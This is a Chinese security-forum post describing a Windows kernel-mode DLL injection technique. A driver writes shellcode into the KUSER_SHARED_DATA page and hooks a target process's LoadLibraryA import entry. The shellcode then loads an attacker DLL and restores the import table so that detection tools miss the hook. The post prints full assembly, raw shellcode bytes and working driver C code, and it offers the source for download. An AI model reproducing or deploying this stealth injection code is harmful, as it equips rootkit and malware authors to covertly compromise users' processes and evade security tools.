• 【原创】内核ShellCode注入的一种方法


    标 题: 【原创】内核ShellCode注入的一种方法
    作 者: organic
    时 间: 2013-05-04,04:34:08
    链 接: http://bbs.pediy.com/showthread.php?t=170959

    最近学习内核注入,看见一篇老文章《rootkit之[七]IAT Hook -- HybridHook之终极打造》链接:http://bbs.pediy.com/showthread.php?t=60778,利用KUSER_SHARED_DATA写入shellcode在ring3下弹出一个消息框,于是想利用此方法来进行内核注入,但不想惨遇蓝屏,于是翻书多日并琢磨摸索,终于成功,详细如下

    一、先写一段shellcode
    主要思路是:
    1、  程序开始加载时,通过内核修改LoadLibraryA在其IAT中的地址,指向我们的shellcode
    2、  Shellcode中首先调用LoadLibraryA加载我们要注入的Dll
    3、  通过PEB找到kernel32.dll基地址
    4、  调用GetAPI搜索kernel32.dll找到VirtualProtect的地址,开始用了别人写的一个GetAPI,老是出问题,就自己写了个,由于kernel32.dll中FAT和FNT刚好对应,就没用FOT进行判断了(偷懒下,有兴趣的朋友可以自行修改)
    5、  调用VirtualProtect修改程序LoadLibraryA在其IAT中地址的读写属性(不改的话会出现写保护错误),恢复LoadLibraryA正确的地址,这样一般工具就检查不出我们对程序进行了IAT hook了
    6、  跳转回LoadLibraryA继续执行
    代码:
    代码:
    jmp  ShellCodeStart
      Addr_IAT_LoadLibraryA  dd 402000h        ;LoadLibraryA在IAT中的地址,由注入函数写入
      Addr_LoadLibraryA       dd 7C801D77h      ;LoadLibraryA的地址,由注入函数写入,在ShellCode + 2 + 4处
      Addr_VirtualProtectName  db  "VirtualProtect",0  ;VirtualProtect名称的地址
      Addr_LoadDllName    db  "InputDll.dll",0
      
      
      ShellCodeStart:
      push  ebx
      push  ecx
      push  edx
      push  esi
      push  edi
      push  ebp
      
      xor   ecx, ecx                ;查找kernel32.dll基址放入eax,xor ecx, ecx不可丢
      assume   fs:nothing
      mov    esi, fs:[30h]              ;取PEB
      mov   esi, [esi+0Ch]
      mov   esi, [esi+1Ch]
      InInitializationOrderModuleList:
      mov   eax, ds:[esi+8]
      mov   edi, ds:[esi+20h]
      mov   esi, ds:[esi]
      cmp   WORD ptr ds:[edi+18h],cx
      jnz   InInitializationOrderModuleList
    
      
      push  ebp
      call  RelocLocation              ;push eip,eip = 新RelocLocation的地址
      RelocLocation:
      pop    ebp                    ;将eip出栈给ebp,ebp = 新RelocLocation的地址
      sub    ebp, offset RelocLocation        ;ebp = ebp - offset RelocLocation(原RelocLocation地址)= 新旧地址的差值(参考重定位),后续需重定位的地址 = 原地址 + ebp
      
      mov    ecx, ebp                ;取Addr_VirtualProtectName重定位后的地址并压栈
      add    ecx, offset Addr_VirtualProtectName
      invoke  GetAPI, eax, ecx, 14          ;调用GetAPI获取VirtualProtect的地址
      mov    ebx, eax                ;将获取的地址放入ebx中
    
      mov    eax, ebp                ;取Addr_LoadDllName重定位后的地址并压栈
      add    eax, offset Addr_LoadDllName
      push  eax
      lea    esi, [ebp + Addr_LoadLibraryA]      ;取Addr_LoadLibraryA重定位后的地址,并调用LoadLibraryA
      call  DWORD ptr [esi]              ;API为stdcall调用,自平衡堆栈
      
      mov    edi, [ebp + Addr_IAT_LoadLibraryA]    ;取LoadLibraryA在IAT的地址
      push  eax                    ;随便压栈一个数,我们要用这个数的地址作为VirtualProtect的lpflOldProtect的地址,因为ShellCode的代码段不可写,只能用堆栈返回
      
      push  esp                    ;调用VirtualProtect修改IAT的写保护
      push  PAGE_READWRITE
      push  4
      push  edi
      call  ebx
      
      pop    eax
      
      mov    eax, [esi]                ;[esi] = LoadLibraryA的地址
      mov    [edi], eax                ;将LoadLibraryA在IAT的地址改为IDHookLoadLibraryA的地址
      
      pop    ebp                    ;平衡
      pop    ebp
      pop    edi
      pop    esi
      pop    edx
      pop    ecx
      pop    ebx
      
      jmp    eax                    ;跳转至LoadLibraryA继续执行
       
    
    
    GetAPI proc _Kernel32Base:DWORD, _szAPIName:DWORD, _APINameLength:DWORD
      local  @SizeOfFNT:DWORD
      local  @APIAddr:DWORD
      
      pushad
      
      mov    ebx, _Kernel32Base
      assume  ebx:ptr IMAGE_DOS_HEADER
      add    ebx, [ebx].e_lfanew                         ;取PE的首地址,即PE标志位
      assume  ebx:ptr IMAGE_NT_HEADERS
      mov    ebx, [ebx].OptionalHeader.DataDirectory.VirtualAddress
      add    ebx, _Kernel32Base
      
      assume  ebx:ptr IMAGE_EXPORT_DIRECTORY
      mov    eax, [ebx].NumberOfNames                      ;将函数总数乘以4,得FNT表大小
      shl    eax, 2
      mov    @SizeOfFNT, eax
      mov    edi, [ebx].AddressOfNames                      ;获取输出表API名称查询表(FNT)RVA
      add    edi, _Kernel32Base                          ;获取输出表API名称查询表(FNT)内存地址
      mov    esi, _szAPIName
      mov    ecx, _APINameLength
      xor    edx, edx
      xor    eax, eax                              ;eax置0
    
      .while  edx < @SizeOfFNT                          ;遍历Dll所有函数名称,当计数edx=Dll函数总数时退出循环
        
        push  ecx                                ;保存字符串长度
        push  edi                                ;保存edi,比较API名称
        push  esi
        
        mov    edi, [edi]                            ;取API名称的RVA
        add    edi, _Kernel32Base                        ;取API名称的内存地址
        cld
        repe  cmpsb
        
        pop    esi                                ;将esi重新指向_szAPIName首地址
        pop    edi
        pop    ecx
        jnz    FAA_FindExportAPIAddr_NoFind                  ;如果ecx=0,说明函数字符全部相同
        mov    eax, [ebx].AddressOfFunctions                  ;取FAT表RVA
        add    eax, _Kernel32Base                        ;取FAT表RVA内存地址
        add    eax, edx                            ;取查找函数FAT表项的地址
        mov    eax, [eax]                            ;取查找函数的RVA
        add    eax, _Kernel32Base                        ;取查找函数的内存地址
        mov    @APIAddr, eax
        .break                                  ;找到则退出循环
        
        FAA_FindExportAPIAddr_NoFind:
        add   edx, 4                              ;计数+4指向下一个FNT表项
        add    edi, 4                              ;edi指向下一个FNT表项
        
      .endw  
      
      assume  ebx:nothing
      popad
      mov    eax, @APIAddr
      ret  
    
    最后生成的shellcode如下:
    0xEB,0x24,0x00,0x20,0x40,0x00,0x77,0x1D,0x80,0x7C,0x56,0x69,0x72,0x74,0x75,0x61,0x6C,0x50,0x72,0x6F,0x74,0x65,0x63,0x74,0x00,0x49,0x6E,0x70,0x75,0x74,0x44,0x6C,0x6C,0x2E,0x64,0x6C,0x6C,0x00,0x53,0x51,0x52,0x56,0x57,0x55,0x33,0xC9,0x64,0x8B,0x35,0x30,0x00,0x00,0x00,0x8B,0x76,0x0C,0x8B,0x76,0x1C,0x8B,0x46,0x08,0x8B,0x7E,0x20,0x8B,0x36,0x66,0x39,0x4F,0x18,0x75,0xF2,0x55,0xE8,0x00,0x00,0x00,0x00,0x5D,0x81,0xED,0x65,0x10,0x40,0x00,0x8B,0xCD,0x81,0xC1,0x20,0x10,0x40,0x00,0x6A,0x0E,0x51,0x50,0xE8,0x2F,0x00,0x00,0x00,0x8B,0xD8,0x8B,0xC5,0x05,0x2F,0x10,0x40,0x00,0x50,0x8D,0xB5,0x1C,0x10,0x40,0x00,0xFF,0x16,0x8B,0xBD,0x18,0x10,0x40,0x00,0x50,0x54,0x6A,0x04,0x6A,0x04,0x57,0xFF,0xD3,0x58,0x8B,0x06,0x89,0x07,0x5D,0x5D,0x5F,0x5E,0x5A,0x59,0x5B,0xFF,0xE0,0x55,0x8B,0xEC,0x83,0xC4,0xF8,0x60,0x8B,0x5D,0x08,0x03,0x5B,0x3C,0x8B,0x5B,0x78,0x03,0x5D,0x08,0x8B,0x43,0x18,0xC1,0xE0,0x02,0x89,0x45,0xFC,0x8B,0x7B,0x20,0x03,0x7D,0x08,0x8B,0x75,0x0C,0x8B,0x4D,0x10,0x33,0xD2,0x33,0xC0,0xEB,0x28,0x51,0x57,0x56,0x8B,0x3F,0x03,0x7D,0x08,0xFC,0xF3,0xA6,0x5E,0x5F,0x59,0x75,0x12,0x8B,0x43,0x1C,0x03,0x45,0x08,0x03,0xC2,0x8B,0x00,0x03,0x45,0x08,0x89,0x45,0xF8,0xEB,0x0B,0x83,0xC2,0x04,0x83,0xC7,0x04,0x3B,0x55,0xFC,0x72,0xD3,0x61,0x8B,0x45,0xF8,0xC9,0xC2,0x0C,0x00

    二、借鉴《rootkit之[七]IAT Hook -- HybridHook之终极打造》写内核,但发现采用pPeb->LoaderData->InLoadOrderModuleList遍历进程所加载模块蓝屏,于是跟了下,发现遍历已有的进程没问题,但打开我们的测试程序时就蓝屏,开WinDbg进入查看PEB发现测试程序第一次加载user32.dll时pPeb->LoaderData竟然为NULL,明显是这里引起的。所以我怀疑Windows映射user32.dll到程序时,进程Peb只进行了初始化,但未将其结构全部填充,有知道的大牛请指导指导
    名称:  LoaderData为NULL.jpg
查看次数: 5
文件大小:  65.0 KB
      借鉴《rootkit之[七]IAT Hook -- HybridHook之终极打造》失败,怎么办呢,既然Peb未填充完全,我们再去看看EPROCESS是否能行,如下图所示,EProcess->ImageFileName已正确的初始化了,于是利用EProcess->ImageFileName检查是否是我们要注入的进程,但在测试的时候发现ImageFileName处所显示的名称很诡异,有时候会显示“DllLoad.exee”,还有时候是“DllLoad.e”,但“DllLoad”始终可以正确显示的,于是就写了个CheckProcessName以进程名(不包括exe)称判断是否是我们要注入的进程,同时利用SectionBaseAddress参数获取注入进程基址。 
    名称:  ImageFileName.jpg
查看次数: 1
文件大小:  48.9 KB
    代码:
    代码:
    //名称:HookIAT
    //功能:将要Hook的IAT地址换为我们shellcode的地址,并将原IAT地址替换为shellcode中要调用的地址
    //参数1:_ProcessID= 加载进程的PID
    //返回:成功则返回TURE,否则返回FALSE
    
    BOOL HookIAT(IN HANDLE _ProcessID,  IN PUNICODE_STRING _FullImageName)
    {
      PEPROCESS  pEProcess;
      PVOID      hModule, pHookAPIAddr;
      BOOL      HookIAT_Ret = FALSE;
    
      if (PsLookupProcessByProcessId(_ProcessID, &pEProcess) == STATUS_SUCCESS)
      {
        if (CheckProcessName(pEProcess->ImageFileName, HOOKPROCESSNAME) && (staHookFlag == FALSE))
        {
          KdPrint(("加载Dll=%wZ
    ", _FullImageName));
          //KdPrint(("_ProcessID=%x
    ", (ULONG)_ProcessID));
          //KdPrint(("pEProcess=%x
    ", (ULONG)pEProcess));
          KdPrint(("进程名称=%s
    ", pEProcess->ImageFileName));
          hModule = pEProcess->SectionBaseAddress;
          //KdPrint(("基地址=%x
    ", (DWORD)hModule));
    
          KeAttachProcess(pEProcess);                            //切换至ring3空间
          
          pHookAPIAddr = FindIATAddr(hModule, HOOKDLLNAME, HOOKAPINAME);
          
          if (pHookAPIAddr)
          {
            if(InjectCode(pHookAPIAddr))
            {
              staHookFlag = TRUE;
              KdPrint(("ShellCode注入成功"));
              //UnInjectDll();
            }
            else
            {
              KdPrint(("ShellCode注入失败"));
            }
          } 
          else
          {
            KdPrint(("%s函数的IAT地址未找到
    ", HOOKAPINAME));
          }
          
          KeDetachProcess();
        }
      }
    
      return HookIAT_Ret;
    }
    
    接下来就是搜索我们要注入的进程的IAT,找到LoadLibraryA的地址和IAT地址
    代码:
    代码:
    //名称:FindIATAddr
    //功能:寻找指定导入表函数名称的IAT地址
    //参数1:pMapView = 模块的映射基址
    //参数2:pszDllName = Dll名称
    //参数3:pszAPIName = 函数名称
    //返回:成功则返回函数在导入表的地址,否则返回NULL
    PVOID FindIATAddr(PVOID _pMapView, PCHAR  _pszDllName , PCHAR  _pszAPIName)
    {
      DWORD  RVA_ImportDirectory;
      DWORD  DllNum, i, index;
      PVOID    pDllName;
      PWORD    pIAT, pINT;
      PIMAGE_IMPORT_BY_NAME pAPIName;
      IMAGE_DOS_HEADER *pImg_DosHeader;
      IMAGE_NT_HEADERS *pImg_NtHeader;
      PIMAGE_IMPORT_DESCRIPTOR pImg_ImportDirectory;
      
      pImg_DosHeader = _pMapView;
      (ULONG)pImg_NtHeader = (ULONG)pImg_DosHeader + pImg_DosHeader->e_lfanew;
      if (pImg_NtHeader->Signature != 0x4550)                    //判断是否为标准PE文件          
      {
        KdPrint(("该文件不是标准PE文件
    "));
        return  NULL;    
      }  
      
      RVA_ImportDirectory = pImg_NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
      DllNum = pImg_NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size / sizeof(IMAGE_IMPORT_DESCRIPTOR) ;
      DllNum --;
      if (RVA_ImportDirectory ==0)
      {
        KdPrint(("该程序没有输入表
    "));
        return  NULL;
      }
      KdPrint(("Dll数目=%d 
    ", DllNum));
    
      (DWORD)pImg_ImportDirectory = (DWORD)_pMapView + RVA_ImportDirectory;
      for (i=0; i<DllNum ; i++)
      {
        (DWORD)pDllName = pImg_ImportDirectory[i].Name + (DWORD)_pMapView;
        //KdPrint(("Dll名称为%s: 
    ", pDllName));
    
        if(VK_CmpString(pDllName, _pszDllName))
        {
          KdPrint(("%s已找到, i=%d  
    ", pDllName, i));
          (DWORD)pImg_ImportDirectory += i*sizeof(IMAGE_IMPORT_DESCRIPTOR);
          (DWORD)pIAT = (DWORD)_pMapView + pImg_ImportDirectory->FirstThunk;
          (DWORD)pINT =  (DWORD)_pMapView + pImg_ImportDirectory->OriginalFirstThunk;
          for (index =0; pIAT[index] != 0; index++)
          {
            if ((pINT[index] & IMAGE_ORDINAL_FLAG) != IMAGE_ORDINAL_FLAG)          //IMAGE_ORDINAL_FLAG =0x80000000,即当INT最高位为0时表示已函数名导入
            {
              (DWORD)pAPIName = (DWORD)_pMapView + pINT[index];
              //KdPrint(("API名称为%s: 
    ", pAPIName->Name));
              if (VK_CmpString((PCHAR)pAPIName->Name, _pszAPIName))
              {
                KdPrint(("%s函数已找到,IAT地址 =%x 
    ", pAPIName, &pIAT[index] ));
                return  &pIAT[index];
              }
            }
          }
        }
      }
      return NULL;
    }
    
    然后注入我们的shellcode,原《rootkit之[七]IAT Hook -- HybridHook之终极打造》中只Hook了GetProcAddress,未对其写回,所以只修改了shellcode中GetProcAddress的地址,由于我们内核注入Dll为了隐蔽,不能让工具或程序检测到我们IAT注入,所以我们这里也要将LoadLibraryA的IAT地址写入shellcode,再由shellcode将注入进程的IAT恢复,这样进程运行起来后就不知道被注入过了。
    代码
    代码:
    //名称:InjectCode
    //功能:注入代码
    //参数1:_pIATAddr = 函数在导入表的地址,将此处改写为我们注入代码的地址
    //返回:成功则返回STATUS_SUCCESS,否则返回STATUS_UNSUCCESSFUL
    
    BOOL InjectCode(PVOID _pIATAddr)
    {
      PMDL  pMDL;
      PDWORD pHookAddr;
      DWORD Addr_sharedM = 0x7ffe0800;        //KUSER_SHARED_DATA在ring3的地址 + ShellCode的偏移    
      DWORD Addr_sharedK = 0xffdf0800;         //KUSER_SHARED_DATA在ring0的地址 + ShellCode的偏移
      unsigned char Shellcode[] = {
        0xEB,0x24,0x00,0x20,0x40,0x00,0x77,0x1D,0x80,0x7C,0x56,0x69,0x72,0x74,0x75,0x61,0x6C,0x50,0x72,0x6F,0x74,0x65,0x63,0x74,0x00,0x49,0x6E,0x70,0x75,0x74,0x44,0x6C
        ,0x6C,0x2E,0x64,0x6C,0x6C,0x00,0x53,0x51,0x52,0x56,0x57,0x55,0x33,0xC9,0x64,0x8B,0x35,0x30,0x00,0x00,0x00,0x8B,0x76,0x0C,0x8B,0x76,0x1C,0x8B,0x46,0x08,0x8B,0x7E
        ,0x20,0x8B,0x36,0x66,0x39,0x4F,0x18,0x75,0xF2,0x55,0xE8,0x00,0x00,0x00,0x00,0x5D,0x81,0xED,0x65,0x10,0x40,0x00,0x8B,0xCD,0x81,0xC1,0x20,0x10,0x40,0x00,0x6A,0x0E
        ,0x51,0x50,0xE8,0x2F,0x00,0x00,0x00,0x8B,0xD8,0x8B,0xC5,0x05,0x2F,0x10,0x40,0x00,0x50,0x8D,0xB5,0x1C,0x10,0x40,0x00,0xFF,0x16,0x8B,0xBD,0x18,0x10,0x40,0x00,0x50
        ,0x54,0x6A,0x04,0x6A,0x04,0x57,0xFF,0xD3,0x58,0x8B,0x06,0x89,0x07,0x5D,0x5D,0x5F,0x5E,0x5A,0x59,0x5B,0xFF,0xE0,0x55,0x8B,0xEC,0x83,0xC4,0xF8,0x60,0x8B,0x5D,0x08
        ,0x03,0x5B,0x3C,0x8B,0x5B,0x78,0x03,0x5D,0x08,0x8B,0x43,0x18,0xC1,0xE0,0x02,0x89,0x45,0xFC,0x8B,0x7B,0x20,0x03,0x7D,0x08,0x8B,0x75,0x0C,0x8B,0x4D,0x10,0x33,0xD2
        ,0x33,0xC0,0xEB,0x28,0x51,0x57,0x56,0x8B,0x3F,0x03,0x7D,0x08,0xFC,0xF3,0xA6,0x5E,0x5F,0x59,0x75,0x12,0x8B,0x43,0x1C,0x03,0x45,0x08,0x03,0xC2,0x8B,0x00,0x03,0x45
        ,0x08,0x89,0x45,0xF8,0xEB,0x0B,0x83,0xC2,0x04,0x83,0xC7,0x04,0x3B,0x55,0xFC,0x72,0xD3,0x61,0x8B,0x45,0xF8,0xC9,0xC2,0x0C,0x00 }; 
      
      KdPrint(("_pIATAddr = %x
    ",  (DWORD)_pIATAddr ));
      pMDL = MmCreateMdl(NULL, _pIATAddr, 4);
      if (!pMDL)
      {
        KdPrint(("创建MDL失败
    "));
        return  FALSE;
      }
      MmBuildMdlForNonPagedPool(pMDL);
      pMDL->MdlFlags = pMDL->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
      pHookAddr = MmMapLockedPages(pMDL, KernelMode);
      //_asm int 3
    
      RtlCopyMemory((PVOID)Addr_sharedK, Shellcode, 249);
      _asm                                                         //将LoadLibraryA输出表地址地址和LoadLibraryA地址写入ShellCode中
      {
        pushad
        
        mov    eax, _pIATAddr
        mov    edx, Addr_sharedK
        add    edx, 2
        mov    [edx], eax
        mov    eax, [eax]
        add    edx, 4
        mov    [edx], eax
    
        popad
      }
      //RtlCopyMemory((PVOID)(Addr_sharedK +5), _pIATAddr, 4);                    
      *pHookAddr = Addr_sharedM;                                    //将LoadLibraryA输出表地址改为0x7ffe0800(ShellCode地址)
      
      MmUnmapLockedPages(pHookAddr, pMDL);
      IoFreeMdl(pMDL);
    
      return  TRUE;
    }
    

    最后再附上一个解除LoadImageNotifyRoutine的代码,《rootkit之[七]IAT Hook -- HybridHook之终极打造》中稍微复杂,但可兼容window2000,这里我们直接调用PsRemoveLoadImageNotifyRoutine
    代码:
    //名称:UnInjectDll
    //功能:PsSetLoadImageNotifyRoutine的回调函数,
    //参数1:无
    //返回:无
    NTSTATUS UnInjectDll()
    {
      NTSTATUS  RetStatus;
    
      RetStatus = PsRemoveLoadImageNotifyRoutine(CallImageNotifyRoutines);
      if (RetStatus == STATUS_SUCCESS)
      {
        KdPrint(("回调函数已解除
    "));
      }
      return  RetStatus;
    }
    
    程序运行效果如下:
    未注入前按下Test按钮:
     名称:  未注入前.jpg
查看次数: 2
文件大小:  18.6 KB
    注入后按下Test按钮: 
    名称:  注入后.jpg
查看次数: 2
文件大小:  20.4 KB
    最后发现用这个方法注入后会产生了3个LoadDll.exe进程,且其中2个在任务管理器中不能关闭,原因不明,有知道的烦请告诉我下
    名称:  注入后产生多个关不掉的程序.jpg
查看次数: 1
文件大小:  24.6 KB

    源码和测试程序:源码和测试程序.zip.
    测试方法,用工具加载InjectDll,然后运行DllLoad,点击Test按钮*转载请注明来自看雪论坛@PEdiy.com
     
    jpg改rar 
  • 相关阅读:
    JavaScript面向对象之闭包的理解
    JavaScript面向对象之函数构造器的理解
    记录jq控制select 选中状态
    JavaScript面向对象之创建类和方法
    获取对象属相 点运算符 和方括号 运算符
    parseFloat 和 Number isNaN 转换
    Js数据类型和运算符
    break , continue 和 标签 跳出循环
    javaScript--循环语句
    三元运算符
  • 原文地址:https://www.cnblogs.com/kuangke/p/6259366.html
Copyright © 2020-2023  润新知